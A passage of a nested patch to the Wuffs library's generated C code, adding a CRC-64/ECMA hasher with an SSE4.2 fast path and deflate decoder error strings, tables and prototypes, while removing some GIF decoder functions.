options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- self->private_impl.f_call_sequence &= 239u; +- self->private_impl.f_metadata_fourcc = 0u; +- self->private_impl.f_metadata_io_position = 0u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- +- ok: +- self->private_impl.p_do_tell_me_more[0] = 0; +- goto exit; + } + +- goto suspend; +- suspend: +- self->private_impl.p_do_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.choosy_up = &wuffs_crc64__ecma_hasher__up__choosy_default; + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = ++ wuffs_base__hasher_u64__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = ++ (const void*)(&wuffs_crc64__ecma_hasher__func_ptrs_for__wuffs_base__hasher_u64); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_crc64__ecma_hasher* ++wuffs_crc64__ecma_hasher__alloc(void) { ++ wuffs_crc64__ecma_hasher* x = ++ (wuffs_crc64__ecma_hasher*)(calloc(1, sizeof(wuffs_crc64__ecma_hasher))); ++ if (!x) { ++ return NULL; + } ++ if (wuffs_crc64__ecma_hasher__initialize( ++ x, sizeof(wuffs_crc64__ecma_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} + +- return status; ++size_t ++sizeof__wuffs_crc64__ecma_hasher(void) { ++ return sizeof(wuffs_crc64__ecma_hasher); + } + +-// -------- func gif.decoder.num_animation_loops ++// ---------------- Function Implementations ++ ++// -------- func crc64.ecma_hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_gif__decoder__num_animation_loops( +- const wuffs_gif__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__get_quirk( ++ const wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key) { + if (!self) { + return 0; + } +@@ -37136,38 +37965,134 @@ wuffs_gif__decoder__num_animation_loops( + return 0; + } + +- if (self->private_impl.f_seen_num_animation_loops_value) { +- return self->private_impl.f_num_animation_loops_value; +- } +- if (self->private_impl.f_num_decoded_frame_configs_value > 1u) { +- return 1u; +- } + return 0u; + } + +-// -------- func gif.decoder.num_decoded_frame_configs ++// -------- func crc64.ecma_hasher.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_crc64__ecma_hasher__set_quirk( ++ wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func crc64.ecma_hasher.update ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__update( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ if (self->private_impl.f_state == 0u) { ++ self->private_impl.choosy_up = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc64__ecma_hasher__up_x86_sse42 : ++#endif ++ self->private_impl.choosy_up); ++ } ++ wuffs_crc64__ecma_hasher__up(self, a_x); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func crc64.ecma_hasher.update_u64 + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__num_decoded_frame_configs( +- const wuffs_gif__decoder* self) { ++wuffs_crc64__ecma_hasher__update_u64( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { + return 0; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { + return 0; + } + +- return self->private_impl.f_num_decoded_frame_configs_value; ++ wuffs_crc64__ecma_hasher__update(self, a_x); ++ return wuffs_crc64__ecma_hasher__checksum_u64(self); + } + +-// -------- func gif.decoder.num_decoded_frames ++// -------- func crc64.ecma_hasher.up ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ return (*self->private_impl.choosy_up)(self, a_x); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up__choosy_default( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint64_t v_s = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ ++ v_s = (18446744073709551615u ^ self->private_impl.f_state); ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 8; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); ++ while (v_p.ptr < i_end0_p) { ++ v_s ^= ((((uint64_t)(v_p.ptr[0u])) << 0u) | ++ (((uint64_t)(v_p.ptr[1u])) << 8u) | ++ (((uint64_t)(v_p.ptr[2u])) << 16u) | ++ (((uint64_t)(v_p.ptr[3u])) << 24u) | ++ (((uint64_t)(v_p.ptr[4u])) << 32u) | ++ (((uint64_t)(v_p.ptr[5u])) << 40u) | ++ (((uint64_t)(v_p.ptr[6u])) << 48u) | ++ (((uint64_t)(v_p.ptr[7u])) << 56u)); ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][(255u & (v_s >> 56u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[1u][(255u & (v_s >> 48u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[2u][(255u & (v_s >> 40u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[3u][(255u & (v_s >> 32u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[4u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[5u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[6u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[7u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 8; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; ++ } ++ self->private_impl.f_state = (18446744073709551615u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func crc64.ecma_hasher.checksum_u64 + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__num_decoded_frames( +- const wuffs_gif__decoder* self) { ++wuffs_crc64__ecma_hasher__checksum_u64( ++ const wuffs_crc64__ecma_hasher* self) { + if (!self) { + return 0; + } +@@ -37176,72 +38101,473 @@ wuffs_gif__decoder__num_decoded_frames( + return 0; + } + +- return self->private_impl.f_num_decoded_frames_value; ++ return self->private_impl.f_state; + } + +-// -------- func gif.decoder.frame_dirty_rect ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func crc64.ecma_hasher.up_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_gif__decoder__frame_dirty_rect( +- const wuffs_gif__decoder* self) { ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up_x86_sse42( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint64_t v_s = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ uint8_t v_buf[48] = {0}; ++ __m128i v_xa = {0}; ++ __m128i v_xb = {0}; ++ __m128i v_xc = {0}; ++ __m128i v_xd = {0}; ++ __m128i v_xe = {0}; ++ __m128i v_xf = {0}; ++ __m128i v_xg = {0}; ++ __m128i v_xh = {0}; ++ __m128i v_mu1 = {0}; ++ __m128i v_mu2 = {0}; ++ __m128i v_mu4 = {0}; ++ __m128i v_mu8 = {0}; ++ __m128i v_mupx = {0}; ++ ++ v_s = (18446744073709551615u ^ self->private_impl.f_state); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ } ++ do { ++ do { ++ if (((uint64_t)(a_x.len)) >= 128u) { ++ } else if (((uint64_t)(a_x.len)) >= 64u) { ++ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); ++ v_xd = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 64u); ++ break; ++ } else if (((uint64_t)(a_x.len)) >= 32u) { ++ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 32u); ++ goto label__chain2__break; ++ } else { ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end0_p) { ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; ++ } ++ self->private_impl.f_state = (18446744073709551615u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++ } ++ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); ++ v_xd = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); ++ v_xe = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u)); ++ v_xf = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u)); ++ v_xg = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u)); ++ v_xh = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ v_mu8 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD8)); ++ while (((uint64_t)(a_x.len)) >= 128u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); ++ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); ++ v_xe = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xe, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xe, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u))); ++ v_xf = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xf, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xf, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u))); ++ v_xg = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xg, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xg, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u))); ++ v_xh = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xh, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xh, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ } ++ v_mu4 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD4)); ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(17u))), v_xe); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(17u))), v_xf); ++ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(17u))), v_xg); ++ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(17u))), v_xh); ++ if (((uint64_t)(a_x.len)) > 64u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); ++ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 64u); ++ } ++ } while (0); ++ v_mu2 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD2)); ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))), v_xc); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(17u))), v_xd); ++ if (((uint64_t)(a_x.len)) > 32u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 32u); ++ } ++ } while (0); ++ label__chain2__break:; ++ v_mu1 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD1)); ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(17u))), v_xb); ++ if (((uint64_t)(a_x.len)) > 24u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 16u); ++ if (((uint64_t)(a_x.len)) > 24u) { ++ return wuffs_base__make_empty_struct(); ++ } ++ } ++ _mm_storeu_si128((__m128i*)(void*)(v_buf + (24u - ((uint64_t)(a_x.len)))), v_xa); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(v_buf, ((24u - ((uint64_t)(a_x.len))) + 16u), 48), a_x); ++ v_mu2 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD2)); ++ v_xa = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 0u)); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 16u)); ++ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 32u)); ++ v_xd = _mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))); ++ v_xe = _mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu1, (int32_t)(17u))); ++ v_xa = _mm_xor_si128(v_xd, _mm_xor_si128(v_xe, v_xc)); ++ v_mupx = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_MUPX)); ++ v_xb = _mm_clmulepi64_si128(v_xa, v_mupx, (int32_t)(0u)); ++ v_xc = _mm_clmulepi64_si128(v_xb, v_mupx, (int32_t)(16u)); ++ v_s = ((uint64_t)(_mm_extract_epi64(_mm_xor_si128(_mm_xor_si128(v_xc, _mm_slli_si128(v_xb, (int32_t)(8u))), v_xa), (int32_t)(1u)))); ++ self->private_impl.f_state = (18446744073709551615u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_deflate__error__bad_huffman_code_over_subscribed[] = "#deflate: bad Huffman code (over-subscribed)"; ++const char wuffs_deflate__error__bad_huffman_code_under_subscribed[] = "#deflate: bad Huffman code (under-subscribed)"; ++const char wuffs_deflate__error__bad_huffman_code_length_count[] = "#deflate: bad Huffman code length count"; ++const char wuffs_deflate__error__bad_huffman_code_length_repetition[] = "#deflate: bad Huffman code length repetition"; ++const char wuffs_deflate__error__bad_huffman_code[] = "#deflate: bad Huffman code"; ++const char wuffs_deflate__error__bad_huffman_minimum_code_length[] = "#deflate: bad Huffman minimum code length"; ++const char wuffs_deflate__error__bad_block[] = "#deflate: bad block"; ++const char wuffs_deflate__error__bad_distance[] = "#deflate: bad distance"; ++const char wuffs_deflate__error__bad_distance_code_count[] = "#deflate: bad distance code count"; ++const char wuffs_deflate__error__bad_literal_length_code_count[] = "#deflate: bad literal/length code count"; ++const char wuffs_deflate__error__inconsistent_stored_block_length[] = "#deflate: inconsistent stored block length"; ++const char wuffs_deflate__error__missing_end_of_block_code[] = "#deflate: missing end-of-block code"; ++const char wuffs_deflate__error__no_huffman_codes[] = "#deflate: no Huffman codes"; ++const char wuffs_deflate__error__truncated_input[] = "#deflate: truncated input"; ++const char wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state[] = "#deflate: internal error: inconsistent Huffman decoder state"; ++const char wuffs_deflate__error__internal_error_inconsistent_i_o[] = "#deflate: internal error: inconsistent I/O"; ++const char wuffs_deflate__error__internal_error_inconsistent_distance[] = "#deflate: internal error: inconsistent distance"; ++const char wuffs_deflate__error__internal_error_inconsistent_n_bits[] = "#deflate: internal error: inconsistent n_bits"; ++ ++// ---------------- Private Consts ++ ++static const uint8_t ++WUFFS_DEFLATE__CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 16u, 17u, 18u, 0u, 8u, 7u, 9u, 6u, ++ 10u, 5u, 11u, 4u, 12u, 3u, 13u, 2u, ++ 14u, 1u, 15u, ++}; ++ ++static const uint8_t ++WUFFS_DEFLATE__REVERSE8[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 128u, 64u, 192u, 32u, 160u, 96u, 224u, ++ 16u, 144u, 80u, 208u, 48u, 176u, 112u, 240u, ++ 8u, 136u, 72u, 200u, 40u, 168u, 104u, 232u, ++ 24u, 152u, 88u, 216u, 56u, 184u, 120u, 248u, ++ 4u, 132u, 68u, 196u, 36u, 164u, 100u, 228u, ++ 20u, 148u, 84u, 212u, 52u, 180u, 116u, 244u, ++ 12u, 140u, 76u, 204u, 44u, 172u, 108u, 236u, ++ 28u, 156u, 92u, 220u, 60u, 188u, 124u, 252u, ++ 2u, 130u, 66u, 194u, 34u, 162u, 98u, 226u, ++ 18u, 146u, 82u, 210u, 50u, 178u, 114u, 242u, ++ 10u, 138u, 74u, 202u, 42u, 170u, 106u, 234u, ++ 26u, 154u, 90u, 218u, 58u, 186u, 122u, 250u, ++ 6u, 134u, 70u, 198u, 38u, 166u, 102u, 230u, ++ 22u, 150u, 86u, 214u, 54u, 182u, 118u, 246u, ++ 14u, 142u, 78u, 206u, 46u, 174u, 110u, 238u, ++ 30u, 158u, 94u, 222u, 62u, 190u, 126u, 254u, ++ 1u, 129u, 65u, 193u, 33u, 161u, 97u, 225u, ++ 17u, 145u, 81u, 209u, 49u, 177u, 113u, 241u, ++ 9u, 137u, 73u, 201u, 41u, 169u, 105u, 233u, ++ 25u, 153u, 89u, 217u, 57u, 185u, 121u, 249u, ++ 5u, 133u, 69u, 197u, 37u, 165u, 101u, 229u, ++ 21u, 149u, 85u, 213u, 53u, 181u, 117u, 245u, ++ 13u, 141u, 77u, 205u, 45u, 173u, 109u, 237u, ++ 29u, 157u, 93u, 221u, 61u, 189u, 125u, 253u, ++ 3u, 131u, 67u, 195u, 35u, 163u, 99u, 227u, ++ 19u, 147u, 83u, 211u, 51u, 179u, 115u, 243u, ++ 11u, 139u, 75u, 203u, 43u, 171u, 107u, 235u, ++ 27u, 155u, 91u, 219u, 59u, 187u, 123u, 251u, ++ 7u, 135u, 71u, 199u, 39u, 167u, 103u, 231u, ++ 23u, 151u, 87u, 215u, 55u, 183u, 119u, 247u, ++ 15u, 143u, 79u, 207u, 47u, 175u, 111u, 239u, ++ 31u, 159u, 95u, 223u, 63u, 191u, 127u, 255u, ++}; ++ ++static const uint32_t ++WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1073741824u, 1073742080u, 1073742336u, 1073742592u, 1073742848u, 1073743104u, 1073743360u, 1073743616u, ++ 1073743888u, 1073744400u, 1073744912u, 1073745424u, 1073745952u, 1073746976u, 1073748000u, 1073749024u, ++ 1073750064u, 1073752112u, 1073754160u, 1073756208u, 1073758272u, 1073762368u, 1073766464u, 1073770560u, ++ 1073774672u, 1073782864u, 1073791056u, 1073799248u, 1073807104u, 134217728u, 134217728u, 134217728u, ++}; ++ ++static const uint32_t ++WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1073741824u, 1073742080u, 1073742336u, 1073742592u, 1073742864u, 1073743376u, 1073743904u, 1073744928u, ++ 1073745968u, 1073748016u, 1073750080u, 1073754176u, 1073758288u, 1073766480u, 1073774688u, 1073791072u, ++ 1073807472u, 1073840240u, 1073873024u, 1073938560u, 1074004112u, 1074135184u, 1074266272u, 1074528416u, ++ 1074790576u, 1075314864u, 1075839168u, 1076887744u, 1077936336u, 1080033488u, 134217728u, 134217728u, ++}; ++ ++#define WUFFS_DEFLATE__HUFFS_TABLE_SIZE 1024u ++ ++#define WUFFS_DEFLATE__HUFFS_TABLE_MASK 1023u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__do_transform_io( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_blocks( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_uncompressed( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_fixed_huffman( ++ wuffs_deflate__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_dynamic_huffman( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_huff( ++ wuffs_deflate__decoder* self, ++ uint32_t a_which, ++ uint32_t a_n_codes0, ++ uint32_t a_n_codes1, ++ uint32_t a_base_symbol); ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_bmi2( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast32( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast64( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status 